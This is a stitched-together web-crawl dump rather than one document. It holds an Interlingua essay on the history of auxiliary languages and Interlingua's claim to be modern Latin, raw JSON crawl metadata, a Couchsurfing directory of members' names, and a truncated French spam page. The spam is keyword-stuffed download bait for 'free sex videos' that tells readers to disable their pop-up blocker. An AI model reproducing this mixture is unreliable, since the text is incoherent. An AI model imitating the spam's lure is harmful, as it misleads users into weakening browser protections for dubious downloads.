prime plano de un lingua artificial de typo \"naturalistic\". Le attributo \"naturalistic\" vole dicer que le puncto de vista le plus importante del linguas de iste typo es: appoiar se al linguas natural, mantener le contacto le plus stricte con le linguas national.\nUniversal Glot non produceva un interesse special. Del resto, in le decennios sequente le attention se dirigeva verso le linguas auxiliar international de typo \"schematic\". Le attributo \"schematic\" (on poterea dicer in su vice anque \"regular\") vole dicer que le puncto de vista le plus importante del linguas de iste typo es le regularitate. Isto era formulate le plus extrememente per le principio de univocitate de Ostwald. Secundo isto cata elemento del lingua (vocabulo, affixo, desinentia) debe semper haber un significato identic e, inversemente, cata significato debe esser exprimite per un sol elemento del lingua. (Dunque il non ha parolas ambigue o synonymos, il non ha exceptiones grammatic etc.)\nInter le linguas auxiliar international primo Volapük de Schleyer attingeva un popularitate major. Volapük era un lingua extrememente artificial ben que illo prendeva le radices de su vocabulos ex le linguas natural (supra toto ex le anglese), totevia modificante los sovente in modo incredibile. (Le vocabulo \"Volapük\" mesme proveni del vocabulos anglese world = \"mundo\" e to speak = \"parlar\".) Le popularitate del lingua justificava mesmo le fundation de un Academia de Volapük. Ma quanto rapidemente le movimento de Volapük vadeva florente, tanto rapidemente illo declinava. Le causa de isto era que le lingua era toto alien al traditiones del linguas europee. Estraniemente le Academia de Volapük jocava un rolo significante in le labor pro un lingua auxiliar international anque post le fiasco total del lingua.\nEsperanto. – Le lingua auxiliar international que succedeva in acquirer le plus de partisanos e super que multos crede que illo es le sol tentativa de iste sorta es Esperanto publicate per Zamenhof in 1887. Esperanto es un importante lapide de millia in le historia del movimento pro un lingua auxiliar international. Primo proque illo demonstrava le possibilitate de construer un lingua artificial que on poteva considerar como un lingua de plen valor, secundo proque illo verificava que le condition fundamental del utilisabilitate de un lingua international era su appoio al elementos vermente international, tertio proque le criticas contra illo monstrava le via de developpamento ulterior.\nIn le sequentes nos schizza le tractos le plus characteristic de Esperanto.\nLe orthographia de Esperanto es in principio toto phonetic. Le alphabeto de Esperanto se basa super le alphabeto latin: illo utilisa vinti-duo ex su vinti-sex litteras (illo omitte le litteras q, w, x e y), sex illo provide de signos diacritic (c, g, h, j, s, u). Le introduction de litteras con signos diacritic non pote esser objectate theoricamente ma practicamente illo resulta in difficultates grave proque le textos in Esperanto pote esser scribite solmente per machinas specialmente cambiate, le imprimerias non es preparate a imprimer tal litteras \"exotic\" etc. Le orthographia de Esperanto es un grande obstaculo practic del diffusion del lingua.\nLe puncto de vista fundamental del grammatica de esperanto es que on debe exprimer le relationes grammatic per medios purmente morphologic (e non per syntactiches e particularmente non per semantiches). Isto apparenta le grammatica de Esperanto a les del linguas classic. (Talmente Esperanto non es del toto tanto moderne quanto su partisanos volerea facer nos creder.) Un de su tractos le plus characteristic es que le vocabulos pertinente a varie sortas de vocabulos ha in general le mesme termination (e altere sortas de vocabulos non debe haber iste terminationes!). Assi le substantivos (salvo le prenomines pro feminas) se termina semper con -o, le adjectivos con -a, le adverbios derivate ab le adjectivos con -e. Le infinitivo del verbos se termina con -i, lor formas presente con -as, passate con -is, futur con -os, le signo del conditional es -us, le del imperativo -u. Le verbos non ha desinentias personal, pro isto (salvo le secunde persona del imperativo e le verbos impersonal) il es semper obligatori exponer le subjecto substantival o pronominal. Le verbos – deviante ab le plus del linguas europee moderne – ha non duo ma sex participios lo que rende possibile le production de un magazin ricchissime de formas periphrastic.\nLe nomines ha un declination. Isto cognosce duo casos. Le signo del plural es -j, le desinentia del accusativo es -n. On debe facer concordar le attributo con le vocabulo qualificate in numero e caso. Dunque:\nbela birdo \"belle ave\" belaj birdoj \"belle aves\"\nbelan birdon \"belle ave\" belajn birdojn \"belle aves\"\n(La belaj birdoj flugas = Le belle aves vola\nMi vidas la belajn birdojn = Io vide le belle aves)\nIste character del lingua rende possibile – como in le linguas classic – le libertate total de ordine de parolas.\nPreferer de iste maniera le medios morphologic es problematic. Nos videva que le evolution del linguas europee moderne prefereva – insimul con le atrophia del medios morphologic – le uso del medios syntactic. Pro isto le grammatica de Esperanto es alien al modo de pensar de ille linguas: illo es archaisante.\nLe vocabulario de Esperanto consiste de vocabulos radical, vocabulos derivate e vocabulos componite.\nLe parte preponderante del vocabulos radical es adoptate ex linguas vivente, supra toto ex le grande west-europees, ma a vices anque ex slaves o alteres.\nQual vocabulo radical es adoptate ex qual lingua? Il non existe ulle principio o regula. Le processo es arbitrari e accidental. On sovente distorque le vocabulos original, a vices sin ulle ration, a vices pro evitar que un vocabulo radical sia un homonymo de un vocabulo derivate regularmente ab un altere vocabulo radical. Anque le modificationes non es dirigite per ulle regularitate o principio ordinante.\nAlicun exemplos del vocabulos radical:\nVocabulos in essentia non distorquite: cemizo (francese chemise \"camisa\"), cesi (italian cessare \"cessar\"), birdo (anglese bird \"ave\"), knabo (german Knabe \"puero\"), kolbaso (hungare kolbász \"salsicia\").\nVocabulos distorquite: vipuro \"vipera\" (vidente le forma *vipero on supponerea que illo proveni del vocabulo vipo \"flagello\" e del suffixo -ero \"parte de alique\", dunque su significato serea \"parte constituente del flagello\"), rabeno \"rabbino\" (vidente le forma *rabino on pensarea que illo es le forma feminin del vocabulo rabo \"robamento\") (del resto, in le processo del distorquimento le lingua non es consequente post que le vocabulo kolego pote significar e \"collega\" e \"collo gigantesc\" o le vocabulo eraro e \"error\" e \"complexo del partes\"), sangi \"cambiar\" – sin ulle ration proque le verbo francese changer e anglese change suggererea le forma *cangi.\nMulto instructive es le sorte del derivatos del radice latin pon-. Le thema imperfecte del verbo ponere \"poner\" proveniente ab iste radice es pone-, su thema supin es posit-. In Esperanto ni le un ni le altere thema appare como vocabulo radical. Appare, in vice, su varie derivatos con prefixos verbal (deponi, disponi, eksponi, imponi, komponi, proponi, transponi), totos como vocabulos radical independente (!) (ma manca *suponi, in su loco nos pote discoperir le forma surprendente supozi, anque juxta eksponi appare – como synonymo! – ekspozi). Similemente, como vocabulos radical independente (!) appare formas derivate ab le thema supin como apozicio, kompozicio, depozicio, dispozicio, ekspozicio, postpozicio, prepozicio (le verbos correspondente *aponi, *oponi, *postponi, *preponi non existe!), propozicio – ma il non ha *impozicio, *supozicio o *transpozicio. (Nos observa solo a proposito: il es incomprensibile proque le suffixo -ion del substantivo verbal latin se atrophia a -i.)\nOn pote clarmente vider que Esperanto non cognosce le notion del radice in senso linguistic e que illo determina toto inconsequentemente su vocabulos radical.\nIn le formation del vocabulario de Esperanto joca grande rolo le derivation e le composition de vocabulos. Le aspiration es que le numero del vocabulos radical sia tanto parve quanto possibile, per medio del affixos regular, in vice, on pote exprimer le maximo de notiones. Assi, per exemplo, quanto al adjectivos indicante qualitates opposite solo un de illos es exprimite per un vocabulo radical independente, le altere es un vocabulo derivate (granda – malgranda \"grande\" – \"parve\", bela – malbela \"belle\" – \"fede\", bona – malbona \"bon\" – \"mal\" etc.). Le vocabulario de Esperanto es talmente characterisate per un dualitate estranie: super le base del vocabulos radical con origine toto chaotic se construe un systema rigidemente regular del vocabulos derivate. Naturalmente, anque le systema del affixos es arbitrari e accidental.\nLe exaggeration del derivation regular guida a vices a vocabulos comic. Le suffixo -in (como nos ja lo mentionava) allude a esseres de sexo feminin. Si rego es \"rege\" regino es \"regina\", isto es un rege de sexo feminin; si sekretario es \"secretario\", sekretariino es \"secretaria\", isto es un secretario de sexo feminin. Isto serea in ordine. Ma il es un pauco estranie que secundo le logica de Esperanto si patro es \"patre\", \"matre\" es patrino, dunque un patre de sexo feminin, e si viro es \"viro\", \"femina\" es virino, isto es un viro de sexo feminin. Plus que bizarre!\nAl mesme tempore le radices characterisante le matre matr- e le femina femin- se trova in vocabulos como matrico, matrikuo, matrono e feminismo, feministo. Nos poterea demandar: proque non dice on plus tosto *patrinico, *patrinikuo, *patrinono, *virinismo, *virinisto (mesmo *virinistino post que feministo e *virinisto significa secundo le leges del lingua un viro feminista)? Ma nos non lo demanda. Presentante iste exemplos nostre scopo era solmente demonstrar: quanto colligite sin le reflexion debite, deficiente del ver logica interne es le vocabulario de Esperanto. E isto non pote esser acceptate in caso de un lingua schematic.\nAl fin nos debe mentionar que un parte del vocabulos de Esperanto es un serie de sonos construite toto arbitrarimente sin ulle precedente lingual natural. (Pro exemplo: ciam \"semper\", tuj \"subinde\" etc.)\nIn summa nos pote constatar que Esperanto es essentialmente un lingua mixte toto contingente de typo sabir.\nLe reforma de Esperanto. – Post isto il non es surprendente que tosto post le publication del lingua propositiones de reformas surgeva in massa. Istos pote esser dividite in tres gruppos. Un parte de illos voleva eliminar le errores immanente del lingua, un altere parte haberea volite approximar al linguas natural, isto es moderar le arbitrarietate del selection del vocabulos e eliminar le tractos archaic del grammatica, al fin le tertie parte desirava cambiar alicun elementos arbitrari del lingua a altere elementos arbitrari.\nJa un inspection superficial del propositiones de reforma pote resultar in conclusiones interessante. Nos debe tirar le inseniamento que omne selection arbitrari es subjective contra que quicunque pote preferer qualcunque altere selection arbitrari sympathic pro ille. Nos pote attinger un solution satisfactori solmente si nos deduce tote le elementos del lingua ab principios objective con processos objective.\nSuper le base del propositiones arrivate Zamenhof mesme elaborava un version meliorate de Esperanto que ille publicava in 1894. In isto ille proponeva le elimination del litteras diacritic (admittente que previemente ille non pensava del toto al punctos de vista typographic), le abolition del accusativo (cuje uso correcte se provava multo difficile pro le majoritate del personas con linguas materne europee moderne e le declination es, del resto, in opposition con le spirito del lingua), le cambiamento del signo del plural, le cessation del concordantia del attributo e del substantivo qualificate (in loco del expression belaj birdoj ille proponeva bela birdi) etc.\nZamenhof mitteva a votos su plano ma su adherentes lo rejectava in le proportion de 157 – 107. Iste evento infelice presagiva le triste developpamentos ulterior: illo indicava que le campo del partisanos del lingua auxiliar international tosto o tarde finderea.\nIdo e su companiones. – In 1907 de Beaufront publicava le version reformate de Esperanto (que, del resto, era in realitate non su obra ma le de Couturat, le famose matemathico e philosopho). Le lingua obteneva le nomine Ido.\nIste nomine mesme es un parola de Esperanto, su significato es \"descendente\" (a saper le descendente de Esperanto) e le idistas semper professava que lor lingua proveni ab Esperanto. Assi super le pagina de titulo del organo official del movimento idista, Progreso, anque hodie isto sta: Ido – Esperanto reformita.\nQue es le differentia inter Ido e Esperanto? Ante toto illo realisa le modificationes que in 1894 Zamenhof proponeva ma que su adherentes rejectava. Assi inter alteres illo aboli le litteras con signos diacritic, approxima le orthographia a le del grande linguas europee, simplifica le morphologia. In plus, illo elimina le errores logic de Esperanto. Quanto al vocabulario, illo abandona le parolas arbitrariemente create, affina le systema del derivation de vocabulos e un pauco diminue le character sabir del radices. Il es ver, in vice, que a vices illo distorque vocabulos plus tosto que Esperanto (pro exemplo \"scientia\" in Esperanto es scienco, in Ido cienco). Nonobstante, ultra tote su limites Ido approxima plus tosto le norma ideal que Esperanto. Obviemente isto resultava in que le strato le plus erudite del esperantistas (inter illes pro exemplo le chimico con premio de Nobel, Wilhelm Ostwald) prendeva le parte de Ido. Ma post que iste strato era le minoritate e lor conducta le plus sobrie non attingeva tal successos spectacular como le fanatismo del massas esperantista (naturalmente, iste \"massa\" consisteva de al plus alicun dece milles personas), lor effecto remaneva limitate. Le victoria de Esperanto super Ido era le victoria del quantitate super le qualitate. Certemente, Ido es un del quattro linguas auxiliar international que anque hodie ha un organisation, mesmo si le minor.\nPlus tarde on elaborava numerose versiones modificate de Esperanto – le si-nominate esperantidas e ididas – ma istos remaneva in le stadio de planos. Inter illos il ha un sol que nos debe mentionar: Esperanto II del famose linguista suisse, René de Saussure.\nLe initiativas naturalista. – Durante que le attention del majoritate del interessatos del lingua auxiliar international se dirigeva verso le linguas schematic de plus in plus cresceva le numero del aspirationes le quales cercava le solution in un altere direction.\nJa al fin del dece-none seculo Liptay e Lott formulava clarmente le idea que \"il non es necesse inventar le lingua international. Iste lingua existe! On debe solmente colliger e ordinar su parolas\".\nNos ja mentionava Volapük e le Academia de Volapük. In le tempore del declino rapide del lingua le Academia era conducite per Rosenberger. Ille tosto recognosceva le valor del idea basic de Liptay e ille transformava le Academia al centro efficace del experimentation con illo. Le resultatos publicate in 1902 deveniva cognoscite sub le nomine Idiom Neutral, e le nomine del Academia deveniva Academia de Idiom Neutral. – Un contemporaneo de Rosenberger era Molenaar cuje labor se basava super le mesme ideas basic como les de Rosenberger. Ille proponeva un systema nominate Unial.\nLe grande mathematico italian Peano approximava le question ab un altere direction. Su puncto de partita era que le lingua del civilisation es le latino, le expressiones del vita scientific e cultural es in tote le linguas essentialmente de origine latin. Que le lingua del communication international totevia non es le latino, resulta del morphologia extraordinarimente complicate del lingua. Pro isto ille proponeva un latino sin flexion: Latino Sine Flexione. (Le scripto de Peano es un lectura multo amusante. Ille comencia scriber lo in latino medieval e quando ille explica le possibilitate de un modification ille continua le texto con le consideration del modification.) Latino Sine Flexione es un construction multo interessante. Le merito de Peano era que ille discoperiva: le lingua auxiliar international pote esser solmente le herede del latino. Ma ille errava opinante que le differentia inter le latino ancian e un latino moderne es mermente de character grammatic. Le debilitate del Latino Sine Flexione es que in su vocabulario se trova vocabulos latin ja obsolete, que illo non considera le cambiamentos de significato intertanto occurrite e que illo non observa: le latino \"implicite\" – similemente a tote le altere linguas – comparate al latino ancian se inricchiva con vocabulos adaptate o foranee. In plus, il es a mentionar que a vices Peano exaggerava le simplification morphologic (pro exemplo ille aboliva le plural del substantivos e lo substitueva con un adverbio) e assi ille lo removeva ab le vivente latino \"implicite\". Ma tote isto non diminue nostre gratitude sempiterne verso Peano, le pionero.\nIn 1910 le Academia de Idiom Neutral – nunc ja sub le direction de Peano – se transformava al Academia pro Interlingua. Hic on usava ancora le termino \"Interlingua\" non in su senso hodierne. Plus exactemente, durante le tempores se formava duo significatos del parola \"Interlingua\": un ample e un stricte. In senso ample nos pote appellar \"Interlingua\" tote le experimentos que aspira al realisation de un lingua auxiliar international appoiante se al vocabulario e grammatica del linguas natural contemporanee. Peano e su companiones usava le termino exclusivemente in iste senso ample. In senso stricte nos appella \"Interlingua\" le lingua in que le scripto le qual le lector tene in su mano es scribite e cuje fundo nos proba presentar. Nos lo appella \"Interlingua\" proque su creatores opinava que iste lingua realisa le plus tosto le ideal del lingua auxiliar international supra-characterisate.\nLe Academia de Interlingua coleva supra toto Latino Sine Flexione, su membros habeva totevia le derecto de experimentar con e proponer altere formas. Un tal era pro exemplo Mundilingua de Lavagnini.\nIn le historia del linguas auxiliar international un station importantissime era Occidental de de Wahl publicate in 1925. De Wahl era un del prime esperantistas (mesmo de maniera interessante ille proponeva le sol reforma que – pro eliminar un homonymia disturbante – se realisava). Ma ja al occasion del votation in 1894 ille declarava que le lingua debe esser modificate radicalmente. Postea ille laborava super su lingua durante tres decennios sin publicar alicun cosa. Le idea de Occidental era que un lingua auxiliar international debe esser construite ex le vocabulos e ex le tractos grammatic commun in le linguas national. Post que iste vocabulos e tractos se trova supra toto in le linguas west-europee, construente su lingua de Wahl se appoiava supra toto super istos: pro isto ille nominava su lingua Occidental (i.e. \"occidental\"). Le novellitate de Occidental era que illo rumpeva apertemente con le principio del univocitate. De Wahl discoperiva que le systema rigide del orthographia e del derivation de vocabulos characterisante le linguas schematic es alien al vocabulario international real e le insistentia super le regularitate del derivation obscura le ver inherentia del vocabulario existente. Proque non deveniva Occidental le ver lingua auxiliar international? Ab le un latere de Wahl nunquam poteva liberar se de certe ideas esperantistic, ille non poteva realisar se que le \"logica\" lingual es de altere character que le \"logica\" general e pro isto ille non poteva sequer consequentemente le via initiate. Ab le altere latere ille non comprendeva sufficientemente le base latin del tractos international del linguas west-europee e pro isto definiente le formas del vocabulos ille non considerava sufficientemente iste base.\nOccidental es un del quattro linguas auxiliar international vivente anque hodie. Post su publication se construeva un grande numero de planos de linguas de varie typos naturalistic. Como monstra nos enumera alicunes: Medial de Weisbart, Novial de Jespersen (le famose linguista danese), Interglossa de Hogben, International de Mitrovic, Mondial de Heimer, Neolatino de Schild, Internacional de Campos Lima, Ling de Olsen, Romanid de Magyar, Europé de Cejnar, Unitario de Pleyer.\nIste massa del linguas auxiliar international era producite per le qualitate discutite de certe questiones lexic e grammatical. Lor multitude dilapidava le movimento aspirante al lingua auxiliar international unic. Nonobstante, iste cavalcada del planos de lingua ha anque un aspecto positive. A saper que ultra le detalios le elementos commun domina in le varie planos. Nos pote considerar los como variantes, dialectos del essentialmente un \"interlingua\" – le latino moderne – latente in le linguas national.\nLe question que nunc emerge es le sequente:\nEs il possibile solver le problemas discutite del \"interlingua\"; ha il un methodo con que nos pote seliger le variante que contra le dialectos pote jocar le rolo del lingua erudite (como le Queen's English inter le dialectos anglese, le Schriftsprache inter le germanes etc.)?\nA nostre question le evolution historic dava le responsa solo post un deviation ulterior.\n2.2. Le epocha del Association del Lingua Auxiliar International\nAl comenciamento del annos 1920 un dama american ric, le seniora Morris, faceva le cognoscentia de Esperanto. Illa deveniva un partisana enthusiastic del lingua ma quando illa apprendeva que le campo del lingua auxiliar international non es unitari illa pensava que illa debe facer alique. Su puncto de partita era que le manco del unitate habeva un causa e iste causa es a discoperir e a abolir.\nAl initiativa e con le supporto financial del seniora Morris pro clarar le question in 1924 con le initiation de linguistas professional le Association del Lingua Auxiliar International (IALA) se formava. Su statutos declarava: le scopo del association es \"promover le studio, le discussion e le publication de tote le questiones que es connectite con le creation de un lingua auxiliar, de plus, le recercas e experimentos que pote accelerar le production de un tal lingua in modo intelligente e super bases firme\" (Emphase de me, F.J.)\nLe prime decennio del programma de recerca del IALA era de character revelante. On creava connexiones con le conductores del gruppos colente varie linguas auxiliar. On colligeva un bibliotheca special con libros, brochures, magazines e vocabularios publicate in varie linguas auxiliar international. In collaboration con le Association Universal de Esperanto on faceva un bibliographia continente tote le titulos trovabile in le bibliothecas europee super le thema del linguas international.\nIn le labor on initiava linguistas famose como Sapir, Collinson e Swadisch. In 1930 un conferentia de linguistas professional approbava le programma proponite per le IALA. Postea quattro congressos official linguistic se occupava del reportos super le activitate del IALA.\nLe IALA seligeva cinque linguas international pro studiar los: Esperanto, Ido, Esperanto II, Occidental e Latino Sine Flexione. Iste selection era motivate supra toto per positiones practic post que iste linguas habeva organisationes e il era ja provate que illos es – al minus in certe relationes – apte al communication in scripto e in parola.\nLe labor se initiava con le studio comparative de iste linguas. Ma – e isto es multo importante – ab le initio on dirigeva le attention al examine comparative del linguas auxiliar e le linguas national.\nNonobstante, usque a 1936 le IALA se occupava plus tosto solmente con questiones theoretic. Le labor meritori comenciava in 1936 quando sub le direction de Collinson al Universitate de Liverpool – le professor del qual ille era – on comenciava examinar le diverse methodos del collection del vocabulario international. In 1939 Collinson era reimplaciate. Le antecedente de isto era que de Wahl habeva protestate contra su sympathia partial e prejudicio pro Esperanto.\nHic il vale stoppar pro un momento. Le IALA era create per ille seniora Morris qui era esperantista e in le profundo de su corde lo remaneva usque a su morte in le fundo pro establir Esperanto scientificamente. Ma le resultato era alique toto altere. Il se provava que Esperanto non pote esser establite scientificamente e si on voleva crear un lingua auxiliar international scientificamente establite isto non serea Esperanto.\nLe successor de Collinson era E.Clark Stillman. Post haber examinate le activitate de dece-cinque annos del IALA ille tirava alicun inferentias. Primo: Tote le aspirationes que voleva crear le lingua auxiliar international create \"in modo intelligente e super bases firme\" per alicun combination del planos existente falleva in toto. Secundo: Lo que es commun e stabile in tote le planos previe se deriva del elementos lingual international trovabile in le linguas national. Tertio: Le conclusion de toto isto es que on debe facer tabula rasa, on debe jectar via tote le linguas auxiliar previemente create – on debe mantener al plus alicun principios toto general – e on debe comenciar colliger le elementos lingual factualmente international. \"On debe primo toto disbuttonar le gilet mal buttonate e solo postea on pote buttonar lo ben\" (F.Deák).\nStillman non sapeva a priori si le totalitate del elementos international produceva un systema lingual complete. Ma pro le momento iste question non le interessava. Ille opinava que le prime carga era colliger le elementos. Le passos ulterior dependerea del resultatos obtenite per le completion del prime carga.\nPost le declaration del secunde guerra mundial – a causa de certe circumstantias eventual – le recercas continuava in loco de Liverpool in New York. Hic Stillman formava un gruppo de recerca cuje membros era linguistas qualificate e expertos in le linguas natural ma qui non habeva ulle relation con ulle lingua artificial.\nUn membro prominente del gruppo era Alexander Gode (1907 – 1970). Ille possedeva amplissime cognoscentias lingual e general. Ille nasceva in Bremen de patre german e matre suisse. Ille comenciava su studios universitari in Vienna, continuava al Sorbonne in Paris, e finiva – post haber emigrate al Statos Unite in 1927 – al Universitate Columbia in New York. Le titulo de su dissertation doctoral in le philosophia era Le scientia natural in le romantica german. Inter alteres ille scribeva manuales de espaniol, portugese e francese, e ille era presidente del Association del Traductores American – dunque ille ben cognosceva le latere e theoretic e practic del questiones lingual del communication international.\nIn 1942, al conditiones guerrier, le labor de Stillman era exigite per le servicio del affaires estranie del Statos Unite. Alora on incargava del direction del gruppo de recerca del IALA – interimemente – Gode. In 1946 le direction era acquirite per Martinet, professor del Sorbonne, ma in 1948 ille se resignava post que ille obteneva un cathedra al Universitate Columbia. Alora Gode deveniva permanentemente le director del gruppo e le labor era finite sub su direction in 1951.\nLe resultato del labor se incarnava in le Dictionario Interlingua-Anglese e le Grammatica de Interlingua.\nPer medio del recercas del IALA on succedeva in colliger le elementos commun del linguas national. Post le termination del labor de colliger il deveniva clar que iste elementos constitue in essentia un systema complete de lingua. Isto obteneva le nomine Interlingua. Le ideas genial de Stillman era essentialmente realisate sub le direction de Gode, pro isto on pote connecter de derecto le elaboration de Interlingua con su nomine.\nDurante le elaboration de Interlingua, e particularmente post illo, il deveniva clar que iste lingua non es un altere cosa que le latino moderne.\n3. INTERLINGUA – LE LATINO MODERNE\nNos non considera como nostre carga presentar detaliatemente le regulas secundo que Interlingua es construite. Nos presenta solmente lor essentia.\n1. Un parola es un parola interlingual si illo ha loco ex le quattro linguas fonte primari – italiano, espaniol\/portugese, francese e anglese – e le duo linguas fonte secundari – germano e russo – de Interlingua in al minus tres.\n2. Le forma del parola del lingua es le prototypo del mesme parolas in le varie linguas fonte – que in multissime casos coincide con le original etymologic.\n3. Le grammatica del lingua es le grammatica le plus simple per que le vocabulario pote esser usate, i.e. cata tracto grammatic que se trova in omne lingua fonte es retenite e, inversemente, nulle tracto grammatical es retenite si illo manca in un del linguas fonte.\nSi nos examina Interlingua – le resultato del labor del IALA – nos pote constatar le sequentes.\nLe vocabulario de Interlingua es essentialmente romanic. Nos memora le classificationes diverse del linguas romanic. Si nos classificava Interlingua como lingua romanic nos poterea constatar que secundo su vocabulario Interlingua serea un lingua romanic occidental, mediterranee e intermedie. Simile al espaniol\/portugese e al francese – ma dissimile ab le italiano – como occidental, simile al italiano e al espaniol\/portugese – ma dissimile ab le francese – como mediterranee, simile al italiano e al francese – ma dissimile ab le espaniol\/portugese – como intermedie. In plus, Interlingua differe ab le linguas romanic proque in illo quasi toto manca le \"vocabulos popular\" e le grande majoritate de su vocabulos es \"docte\", i.e. latinesc. Isto es le causa le plus grave ob que illo pote esser considerate – plus tosto que ulle altere lingua – como le latino moderne.\nSu grammatica, in vice, seque le exemplo del anglese. Nos videva que un tal grammatica es characteristic al incontro de un lingua romanic e de un germanic. Interlingua es un lingua romanic occidental, mediterranee e intermedie ma al mesme tempore un lingua de typo creol ob le influentia grammatic del linguas germanic.\nSi nos non sapeva como Interlingua era construite e nos lo cognosceva solo como phenomeno empiric nos poterea inventar un \"mytho\".\nIl habeva un insula in le Mediterraneo, alicubi inter Corsica e le Baleares, ubi on parlava le latino, plus exactemente un dialecto del latino vulgar. Ex iste dialecto evolveva un lingua romanic. Certe tractos sue era simile al italiano, certes al francese, certes al espaniol assi que in un certe senso illo era un \"dialecto central\". Durante le migration del populos un tribo germanic occupava le insula. Illo acceptava le lingua del insulanos ma le grammatica de isto illes cambiava – simplificava – significativemente. Postea le cultura del insula comenciava developpar rapidemente. Le lingua se inricchiva per un grande numero de vocabulos docte. Le linguistas erudite – un élite multo estimate – mesmo comenciava substituer le vocabulos vulgar per vocabulos docte. Con le augmento del nivello cultural le gente de plus in plus usava iste nove parolas collateral; al fin le ancian vocabulos vulgar deveniva obsolete e lentemente dispareva. Le insulanos parlava ja un nove lingua que on appellava latinesco, le latino moderne.\nPlus tarde on discoperiva que in 1951 in New York un parve gruppo de linguistas publicava un lingua construite – nominate Interlingua – e iste lingua similava stupefacientemente a lor latinesco.\nE alora le insulanos demandava: \"Proque non usa le Union Europee nostre lingua como su lingua official? Illo es ya le ver lingua commun de Europa!\"\nVermente, proque non?","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/ial.wikia.com\/wiki\/Nos_presenta_interlingua","date":"2017-07-21T04:35:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423716.66\/warc\/CC-MAIN-20170721042214-20170721062214-00699.warc.gz","language":"ina","language_score":0.9999821186,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.9999821186065674}","num_words":13335,"character_repetition_ratio":0.058,"word_repetition_ratio":0.004,"special_characters_ratio":0.187,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":479.8,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas le Buzulier||Thomas Le Guével|\n|thomas le callonnec||Thomas Le Guillou|\n|Thomas Le Chenadec||Thomas Le Guillou|\n|Thomas Le Chêne||Thomas Le Helloco|\n|Thomas Le Chi Thanh||Thomas Le Hen|\n|Thomas Le Clinche||Thomas Le hir|\n|Thomas Le Colleter||Thomas Le Hir|\n|Thomas Le Coq||Thomas LE JEUNE|\n|Thomas LE COQUIL||Thomas Le Jeune|\n|Thomas Le Corps||Thomas Le Jeune|\n|Thomas Le Corre||Thomas le Juge|\n|Thomas Le Coupanec||Thomas Le Labourier|\n|Thomas Le Coz||Thomas Le Lann|\n|Thomas Le Coz||Thomas Le Lay|\n|Thomas LE COZ||Thomas Le Lay|\n|Thomas LE COZ||Thomas le Lay|\n|Thomas Le Crouhennec||Thomas Le Lay|\n|Thomas Le Diffon||Thomas Le Levier|\n|Thomas Le Dluz||Thomas Le Lirzin|\n|thomas LE DOZE||Thomas le Loire|\n|Thomas Le Dreff||Thomas Le Marrec|\n|Thomas Le Druillenec||Thomas Le Masson|\n|Thomas Le Duc||Thomas Le Mauff|\n|Thomas LE FAOU||Thomas Le Mens|\n|Thomas Le Fichant||Thomas Le Mer|\n|THOMAS LE FLANCHEC||thomas Le Merrer|\n|Thomas Le Floc'h||Thomas Le Mest|\n|Thomas LE FLOC'H||Thomas Le Mestre|\n|thomas le flochmoen||Thomas Le Meur|\n|Thomas LE FLOHIC||Thomas Le Mignan|\n|Thomas Le Forestier||Thomas LE MIGNAN|\n|Thomas Le Galès||Thomas Le Molaire|\n|Thomas Le Gall||Thomas Le Monier|\n|Thomas LE GALL||Thomas Le Montagner|\n|Thomas le Gall||Thomas LE MOULLEC|\n|Thomas Le Gall||THOMAS LE NAGARD|\n|THOMAS LE GLOANIC||Thomas Le Naour|\n|THOMAS LE GLOANIC||Thomas LE NECHET|\n|Thomas Le gloannec||Thomas Le Page|\n|Thomas Le Goff||Thomas Le Paige|\n|Thomas Le Goff||Thomas Le Palaire|\n|Thomas LE GOFF||Thomas Le Panda|\n|Thomas Le Goff||Thomas LE PIMPEC|\n|Thomas LE GOFF||thomas le poetvin|\n|Thomas Le Goff||Thomas Le Quellec|\n|Thomas Le Gougaud||Thomas Le Quérec|\n|Thomas le Gourierec||Thomas Le Quinquis|\n|Thomas Le Govic||Thomas Le Roi|\n|THOMAS LE GUEN||Thomas Le Roi|\n|Thomas Le Guern||Thomas Le Roi|","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.couchsurfing.com\/directory\/T-26-34","date":"2017-08-21T08:48:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886107744.5\/warc\/CC-MAIN-20170821080132-20170821100132-00328.warc.gz","language":"ina","language_score":0.5994731784,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5994731783866882, \"fra_Latn_score\": 0.14451727271080017, \"hat_Latn_score\": 0.04404269531369209, \"frp_Latn_score\": 0.027302222326397896, \"tso_Latn_score\": 0.02114390954375267, \"smo_Latn_score\": 0.01488082017749548, \"nap_Latn_score\": 0.013763802126049995, \"nso_Latn_score\": 0.012794256210327148, \"vec_Latn_score\": 0.011741392314434052}","num_words":570,"character_repetition_ratio":0.25,"word_repetition_ratio":0.046,"special_characters_ratio":0.257,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.376,"perplexity_score":32905.4,"cluster_detection":-1} +{"text":"La derniere version de videos gratuite sexe apporte plein de fonctionnalites a videos gratuite sexe, vous pouvez telecharger videos gratuite sexe en Francais. Cette nouvelle version de videos gratuite sexe dispose a present d\\'une fonctionnalite qui vous permet de renommer vos contacts, qui est bien pratique quand vous avez des contacts avec des pseudos a rallonge. videos gratuite sexe en telechargement gratuit. Tous ces videos gratuite sexe se jouent en ligne contre des joueurs du monde entier, jeux gratuits hyper realistes. Je vous laisse decouvrir videos gratuite sexe avec bien d\\'autres fonctionnalites aussi utiles. Desactivez le blocage des pop up afin de pouvoir telecharger videos gratuite sexe sans problemes. Nous avons compte avec des milliers de programmes que vous pouvez telecharger. Milliers de programmes, utilites, jeux et videos gratuite sexe.. Mieux les telechargements directs dirigent et coffre-fort de videos gratuite sexe gratuit. Voici que vous trouverez les meilleures choses de videos gratuite sexe gratuit de tout le Web.\n\n\nvideos gratuite sexe , sexe free videos gratuite , sexe vomi femme videos gratuite\n, sexe free videos gratuite , sexe vomi femme videos gratuite , videos gratuite sexe gratuit grosse videos , videos gratuite sexe gratuit , sexe gratuit videos gratuite grosse videos , grosse videos gratuite sexe gratuit , videos sexe femme mature gratuite , videos sexe entierement gratuite a telecharger , videos sexe a telecharger gratuite , videos gratuite a telecharger de sexe , 